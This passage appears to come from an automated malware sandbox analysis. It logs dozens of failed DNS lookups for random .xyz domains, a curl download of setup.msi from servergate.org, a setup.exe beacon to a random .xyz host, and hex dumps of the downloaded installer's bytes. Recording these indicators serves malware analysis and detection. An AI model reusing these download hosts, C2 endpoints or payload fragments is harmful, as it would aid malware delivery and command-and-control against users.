Dec 12, 2024 12:10:51.490963936 CET	1.1.1.1	192.168.2.5	0x1a16	Name error (3)	ceckmwoyqkwgeoqg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.717482090 CET	1.1.1.1	192.168.2.5	0xaf67	Name error (3)	kcoiygiwuyqyaoku.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.940417051 CET	1.1.1.1	192.168.2.5	0x5e71	Name error (3)	aaeyckqsgmiqsgew.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.158658981 CET	1.1.1.1	192.168.2.5	0xc571	Name error (3)	qgaiosyouwwkgsmm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.379215956 CET	1.1.1.1	192.168.2.5	0x1e25	Name error (3)	ocqseueommkkqcgs.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.603698015 CET	1.1.1.1	192.168.2.5	0x3e9e	Name error (3)	owmesaosmycoeceq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.822814941 CET	1.1.1.1	192.168.2.5	0x55d	Name error (3)	qokauaicweuwscac.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.042449951 CET	1.1.1.1	192.168.2.5	0x5299	Name error (3)	sewmmwqeyauowwwo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.270766973 CET	1.1.1.1	192.168.2.5	0x5828	Name error (3)	mmgowiccqoeomagq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.586425066 CET	1.1.1.1	192.168.2.5	0x3da1	Name error (3)	kcwiywyygywkkysk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.905133963 CET	1.1.1.1	192.168.2.5	0xfd95	Name error (3)	syiysgiqgqggqkoc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.126986980 CET	1.1.1.1	192.168.2.5	0x1ed1	Name error (3)	ykuasckuceswseig.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.354084015 CET	1.1.1.1	192.168.2.5	0xd1ea	Name error (3)	quugmiumsieaiyys.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.667752028 CET	1.1.1.1	192.168.2.5	0xd119	Name error (3)	ikqywgcqaggogqsa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.987425089 CET	1.1.1.1	192.168.2.5	0x9448	Name error (3)	eqyamamqwsseyoig.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.212357998 CET	1.1.1.1	192.168.2.5	0x1236	Name error (3)	seqkawokggwucsui.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.525458097 CET	1.1.1.1	192.168.2.5	0xd1c6	Name error (3)	gmqeqkcqackwkgao.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.748560905 CET	1.1.1.1	192.168.2.5	0x6c21	Name error (3)	guowewgekuoqacyy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.059082985 CET	1.1.1.1	192.168.2.5	0x378	Name error (3)	aaokyscqeecowaci.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.280965090 CET	1.1.1.1	192.168.2.5	0x4e39	Name error (3)	ywywwwgwekicgico.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.506356001 CET	1.1.1.1	192.168.2.5	0x5f80	Name error (3)	wsisaoaauqwmuomg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.724838972 CET	1.1.1.1	192.168.2.5	0x67ad	Name error (3)	koouumcuucaeakye.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.946412086 CET	1.1.1.1	192.168.2.5	0xc17e	Name error (3)	okccisioeycusekg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.172611952 CET	1.1.1.1	192.168.2.5	0x6a92	Name error (3)	cymymsciyaiacwgw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.391503096 CET	1.1.1.1	192.168.2.5	0x331e	Name error (3)	aoyeoimcuuqakckw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.616394997 CET	1.1.1.1	192.168.2.5	0x2703	Name error (3)	qoaweokuqggaymks.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.836410046 CET	1.1.1.1	192.168.2.5	0x2abd	Name error (3)	ewuyacewswkoueqw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.065401077 CET	1.1.1.1	192.168.2.5	0x7946	Name error (3)	kiuymkmaomciimcc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.381175041 CET	1.1.1.1	192.168.2.5	0x3cde	Name error (3)	oqaiyaoqwyeswaiy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.602598906 CET	1.1.1.1	192.168.2.5	0xc22e	Name error (3)	koyokggaqsagggym.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.863965988 CET	1.1.1.1	192.168.2.5	0xf755	Name error (3)	cmsuagygagqceocm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.087551117 CET	1.1.1.1	192.168.2.5	0x6343	Name error (3)	uisgoqaoksgqsqyg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.309290886 CET	1.1.1.1	192.168.2.5	0x7f4e	Name error (3)	ocgcqsagaakgkcma.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.528614998 CET	1.1.1.1	192.168.2.5	0xfbe2	Name error (3)	okgigkmiieweagia.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.755433083 CET	1.1.1.1	192.168.2.5	0x36a3	Name error (3)	skiwkmaaeeiqqgee.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.071377993 CET	1.1.1.1	192.168.2.5	0xfc6e	Name error (3)	aagokgyaswscyaeu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.297008991 CET	1.1.1.1	192.168.2.5	0xb738	Name error (3)	gmciuwiycsqycggy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.518970966 CET	1.1.1.1	192.168.2.5	0xbc87	Name error (3)	ggeymcaisciikucq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.743248940 CET	1.1.1.1	192.168.2.5	0x648a	Name error (3)	uwskygguegqkasme.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.963170052 CET	1.1.1.1	192.168.2.5	0x51f2	Name error (3)	cyumiiokkswcoeag.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.191507101 CET	1.1.1.1	192.168.2.5	0x2fef	Name error (3)	oqisqmesaeoegmyc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.426934958 CET	1.1.1.1	192.168.2.5	0x7e0e	Name error (3)	wagasowawsoyycom.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.661350012 CET	1.1.1.1	192.168.2.5	0x2ed7	Name error (3)	gaguweiwsgouugqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.887967110 CET	1.1.1.1	192.168.2.5	0x98c1	Name error (3)	syyyweaywowycsia.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.112905025 CET	1.1.1.1	192.168.2.5	0x5c0c	Name error (3)	mmoycwqiuykiusuy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.433897018 CET	1.1.1.1	192.168.2.5	0x9952	Name error (3)	ikoycakqiuuascco.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.662306070 CET	1.1.1.1	192.168.2.5	0x7d7d	Name error (3)	cmuqekokuyuqgige.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.898300886 CET	1.1.1.1	192.168.2.5	0x4570	Name error (3)	cywoimwmsoamqoem.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.123490095 CET	1.1.1.1	192.168.2.5	0x863e	Name error (3)	skyiqyaeoykwcgiw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.345746040 CET	1.1.1.1	192.168.2.5	0x40ae	Name error (3)	ssiooaeoaocuyaow.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.567270041 CET	1.1.1.1	192.168.2.5	0x653e	Name error (3)	ywmgykycywqqewqw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.785527945 CET	1.1.1.1	192.168.2.5	0x5d61	Name error (3)	uosaescwmkiyscay.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.179436922 CET	1.1.1.1	192.168.2.5	0x8a23	Name error (3)	eigywisgeoiskekg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.397996902 CET	1.1.1.1	192.168.2.5	0xf0c	Name error (3)	msqsoggkkoiokugk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.620121956 CET	1.1.1.1	192.168.2.5	0xce91	Name error (3)	cmaaciimeememwao.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.851929903 CET	1.1.1.1	192.168.2.5	0xcab3	Name error (3)	uigkauqkumywguig.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.080624104 CET	1.1.1.1	192.168.2.5	0xbc27	Name error (3)	wggygeoisauouuoc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.300520897 CET	1.1.1.1	192.168.2.5	0xb96	Name error (3)	okoykokgycygucya.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.612164021 CET	1.1.1.1	192.168.2.5	0x6788	Name error (3)	ewaoowewmsomgaiw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.926304102 CET	1.1.1.1	192.168.2.5	0x3ee6	Name error (3)	ieiegkokewkqmkwe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.153264999 CET	1.1.1.1	192.168.2.5	0xf5cc	Name error (3)	gakesieaaickekuo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.373320103 CET	1.1.1.1	192.168.2.5	0x5e47	Name error (3)	ecasigiwguqgguyw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.599286079 CET	1.1.1.1	192.168.2.5	0xfc9	Name error (3)	okwswuciummewsui.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.912781954 CET	1.1.1.1	192.168.2.5	0xe597	Name error (3)	ggaqiymaekkywusy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.133996964 CET	1.1.1.1	192.168.2.5	0xa12d	Name error (3)	ocicimqkgucacyim.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.359582901 CET	1.1.1.1	192.168.2.5	0x79be	Name error (3)	qoyisgoayskswigs.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.591766119 CET	1.1.1.1	192.168.2.5	0xd55d	Name error (3)	wsywmuwgsogemomw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.810139894 CET	1.1.1.1	192.168.2.5	0x8fbb	Name error (3)	skaeggkkcmoqoywy.xyz	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

servergate.org

www.docusign.com

https:

chrome.cloudflare-dns.com

clients2.googleusercontent.com

aikmouciiqgecoqi.xyz:443

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49814	166.1.160.237	443	7348	C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:09:38.499336004 CET	130	OUT	GET /api/client_hello HTTP/1.1 Accept: / Connection: close Host: aikmouciiqgecoqi.xyz:443 User-Agent: cpp-httplib/0.12.1

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	166.1.160.166	443	5808	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:00 UTC	90	OUT	GET /rt/setup.msi HTTP/1.1 Host: servergate.org User-Agent: curl/7.83.1 Accept: /
2024-12-12 11:09:01 UTC	263	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 12 Dec 2024 00:16:06 GMT ETag: "1cb000-629079eccdd80" Accept-Ranges: bytes Content-Length: 1880064 Connection: close Content-Type: application/x-msi
2024-12-12 11:09:01 UTC	7929	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 20 55 49 2e 20 41 20 6e 6f 6e 2d 6e 75 6c 6c 20 76 61 6c 75 65 20 77 69 6c 6c 20 65 6e 61 62 6c 65 20 74 68 65 20 62 72 6f 77 73 65 20 62 75 74 74 6f 6e 2e 30 3b 31 3b 32 3b 34 3b 35 3b 36 3b 38 3b 39 3b 31 30 3b 31 36 3b 31 37 3b 31 38 3b 32 30 3b 32 31 3b 32 32 3b 32 34 3b 32 35 3b 32 36 3b 33 32 3b 33 33 3b 33 34 3b 33 36 3b 33 37 3b 33 38 3b 34 38 3b 34 39 3b 35 30 3b 35 32 3b 35 33 3b 35 34 46 65 61 74 75 72 65 20 61 74 74 72 69 62 75 74 65 73 46 65 61 74 75 72 65 43 6f 6d 70 6f 6e 65 6e 74 73 46 65 61 74 75 72 65 5f 46 6f 72 65 69 67 6e 20 6b 65 79 20 69 6e 74 6f 20 46 65 61 74 75 72 65 20 74 61 62 6c 65 2e 43 6f 6d 70 6f 6e 65 6e 74 5f 46 6f 72 65 69 67 6e 20 6b 65 79 20 69 6e 74 6f 20 43 6f 6d 70 6f 6e 65 6e 74 20 74 61 62 6c 65 2e 46 69 6c 65 50 Data Ascii: UI. A non-null value will enable the browse button.0;1;2;4;5;6;8;9;10;16;17;18;20;21;22;24;25;26;32;33;34;36;37;38;48;49;50;52;53;54Feature attributesFeatureComponentsFeature_Foreign key into Feature table.Component_Foreign key into Component table.FileP
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 56 14 c7 02 00 00 00 00 8b 46 24 c7 00 00 00 00 00 8b 4e 34 c7 01 00 00 00 00 83 66 40 fe c7 46 3c 00 00 00 00 8b ce 5e e9 2a fa ff ff cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 56 8b f1 f6 46 40 08 57 74 20 8b 7e 24 8b 17 85 d2 74 17 8b 4e 3c 3b d1 73 10 8b 46 34 8b 00 03 c2 89 0f 2b c1 8b 4e 34 89 01 8b 45 08 83 f8 ff 75 0a 5f 33 c0 5e 8b e5 5d c2 04 00 8b 56 24 8b 3a 53 85 ff 74 14 8b 4e 34 8b 19 8b d7 03 da 3b d3 73 07 ff 09 e9 46 01 00 00 f6 46 40 02 75 3d 85 ff 75 04 33 db eb 0c 8b 46 34 8b 4e 10 8b 18 2b 19 03 df 8b c3 d1 e8 83 f8 20 73 07 b8 20 00 00 00 eb 06 85 c0 76 13 8b ff ba ff ff ff 7f 2b d0 3b d3 73 04 d1 e8 75 f1 85 c0 75 0c 5b 5f 83 c8 ff 5e 8b e5 5d c2 04 00 03 c3 50 8d 4e 44 89 45 fc e8 e3 06 00 00 8b f8 8b 46 10 8b 10 89 55 f8 85 Data Ascii: VF$N4f@F<^*UVF@Wt ~$tN<;sF4+N4Eu_3^]V$:StN4;sFF@u=u3F4N+ s v+;suu[_^]PNDEFU
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 18 83 c4 10 50 52 53 56 8d 4c 24 30 e8 36 0e 00 00 8b 4c 24 74 83 c4 18 5f 8b c6 5e 5b 33 cc e8 37 c1 00 00 8b e5 5d c2 18 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 54 a1 60 10 03 10 33 c4 89 44 24 50 8b 45 10 8b 4d 0c 53 8b 5d 14 8b 53 10 56 8b 75 08 57 50 8b 45 20 51 8b 4d 1c 50 51 bf c4 a6 02 10 8d 44 24 20 e8 52 0d 00 00 50 8d 54 24 2c 6a 40 52 e8 1e c7 00 00 83 c4 14 50 8b 45 18 50 53 56 8d 4c 24 30 e8 b2 0d 00 00 8b 4c 24 74 83 c4 18 5f 8b c6 5e 5b 33 cc e8 b3 c0 00 00 8b e5 5d c2 1c 00 cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 54 a1 60 10 03 10 33 c4 89 44 24 50 8b 45 10 8b 4d 0c 53 8b 5d 14 8b 53 10 56 8b 75 08 57 50 8b 45 20 51 8b 4d 1c 50 51 bf c8 a6 02 10 8d 44 24 20 e8 d2 0c 00 00 50 8d 54 24 2c 6a 40 52 e8 9e Data Ascii: PRSVL$06L$t_^[37]UT`3D$PEMS]SVuWPE QMPQD$ RPT$,j@RPEPSVL$0L$t_^[3]UT`3D$PEMS]SVuWPE QMPQD$ PT$,j@R
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 2b 6a 00 8d 4d ec e8 24 b8 01 00 83 3d 10 34 03 10 00 75 10 a1 e8 31 03 10 40 a3 e8 31 03 10 a3 10 34 03 10 8d 4d ec e8 2b b8 01 00 8b 35 10 34 03 10 8b 07 3b 70 0c 73 22 8b 48 08 8b 0c b1 85 c9 75 1c 80 78 14 00 74 16 e8 bd b8 01 00 3b 70 0c 73 12 8b 50 08 8b 34 b2 eb 06 33 c9 eb e4 8b f1 85 f6 75 65 85 db 74 04 8b f3 eb 5d 8d 45 f0 57 50 e8 10 02 00 00 83 c4 08 83 f8 ff 75 1b 68 ec a6 02 10 8d 4d dc e8 d7 a4 00 00 68 9c ed 02 10 8d 4d dc 51 e8 89 e8 00 00 8b 75 f0 6a 00 8d 4d ec 89 35 f8 33 03 10 e8 82 b7 01 00 8b 46 04 83 f8 ff 73 04 40 89 46 04 8d 4d ec e8 96 b7 01 00 56 e8 09 b9 01 00 83 c4 04 8d 4d e8 c7 45 fc ff ff ff ff e8 7e b7 01 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 14 8b 4d Data Ascii: +jM$=4u1@14M+54;ps"Huxt;psP43uet]EWPuhMhMQujM53Fs@FMVME~MdY^[]UEM
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 8b 11 50 8b 42 04 ff d0 c6 44 24 78 01 8b 44 24 10 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 c6 44 24 78 00 8b 44 24 14 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 c7 44 24 78 ff ff ff ff 8b 44 24 1c 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 33 c0 8b 4c 24 70 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 e6 74 02 10 64 a1 00 00 00 00 50 81 ec 14 03 00 00 a1 60 10 03 10 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 c7 45 fc 00 00 00 00 8b 45 0c 51 83 c0 f0 89 a5 fc fc ff ff 8b f4 e8 97 c8 ff ff 83 c0 10 89 06 8d 85 54 fd ff ff 50 e8 d6 20 00 00 b9 1c af 02 10 8d b5 3c fd ff ff 8d 95 54 Data Ascii: PBD$xD$HJPBD$xD$HJPBD$xD$HJPB3L$pdY_^[]UjhtdP`3ESVWPEdEEQTP <T
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: 00 00 2b 48 0c 2b d6 83 c4 08 0b ca 7d 09 8b ce 8b c7 e8 b0 ba ff ff 8b 45 08 8b 17 50 53 8d 4e 01 51 52 e8 72 6e 00 00 83 c4 10 85 f6 7c af 8b 07 3b 70 f8 7f a8 89 70 f4 8b 07 33 c9 66 89 0c 70 5e 5d c2 04 00 cc 8b 00 85 c0 74 06 50 e8 06 63 00 00 c3 cc cc cc 55 8b ec 6a ff 68 30 68 02 10 64 a1 00 00 00 00 50 83 ec 08 56 a1 60 10 03 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 02 e8 db 62 00 00 8b f0 89 75 ec 8d 45 f0 50 b9 a0 bf 02 10 c7 45 fc 00 00 00 00 e8 39 8f ff ff c6 45 fc 01 85 ff 75 04 33 c0 eb 1c 8b c7 8d 50 02 eb 06 8d 9b 00 00 00 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 50 57 8d 4d f0 51 e8 46 fd ff ff 8b 55 f0 52 6a 00 56 e8 88 62 00 00 8b 45 08 56 68 00 00 00 04 50 e8 7f 62 00 00 c6 45 fc 00 8b 45 f0 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 Data Ascii: +H+}EPSNQRrn\|;pp3fp^]tPcUjh0hdPV`3PEdjbuEPE9Eu3Pffu+PWMQFURjVbEVhPbEEH
2024-12-12 11:09:01 UTC	8000	IN	Data Raw: ff ff 8b 44 24 24 83 c4 04 85 c0 75 0d 8b 4c 24 0c 50 51 ba 01 00 00 80 eb 0b 8b 54 24 0c 50 52 ba 02 00 00 80 e8 8d 31 00 00 8b 44 24 1c 83 c0 f0 83 c4 08 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 8b 44 24 0c 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 68 1c c7 02 10 8d 4c 24 38 51 8d 54 24 20 52 8d 5c 24 30 e8 22 d9 ff ff 8b 08 8b 7c 24 10 8d 41 f0 83 c7 f0 3b c7 74 47 83 7f 0c 00 8d 5f 0c 7c 30 8b 10 3b 17 75 2a e8 4e 8a ff ff 8b f0 83 c8 ff f0 0f c1 03 48 85 c0 7f 0a 8b 0f 8b 11 8b 42 04 57 ff d0 83 c6 10 89 74 24 10 8b 74 24 28 eb 0e 8b 59 f4 51 8d 54 24 14 52 e8 7b 9e ff ff 8b 44 24 34 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 0f 8f 6f fd ff ff 8b 08 8b 11 50 8b 42 04 ff Data Ascii: D$$uL$PQT$PR1D$HJPBD$HJPBhL$8QT$ R\$0"\|$A;tG_\|0;u*NHBWt$t$(YQT$R{D$4HJoPB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49743	3.33.186.135	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:28 UTC	739	OUT	GET /sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf HTTP/1.1 Host: www.docusign.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 11:09:29 UTC	376	IN	HTTP/1.1 404 Not Found Age: 0 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; fwd=miss Content-Type: text/html; charset=utf-8 Date: Thu, 12 Dec 2024 11:09:29 GMT Etag: 1730908359-ssl Server: Netlify Strict-Transport-Security: max-age=31536000 X-Nf-Request-Id: 01JEX8YEP5STX3CCWRKAGR0PR7 Connection: close Transfer-Encoding: chunked
2024-12-12 11:09:29 UTC	2372	IN	Data Raw: 63 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d Data Ascii: c0a<!DOCTYPE html><html> <head> <meta charset="utf-8"> <meta name="viewport" 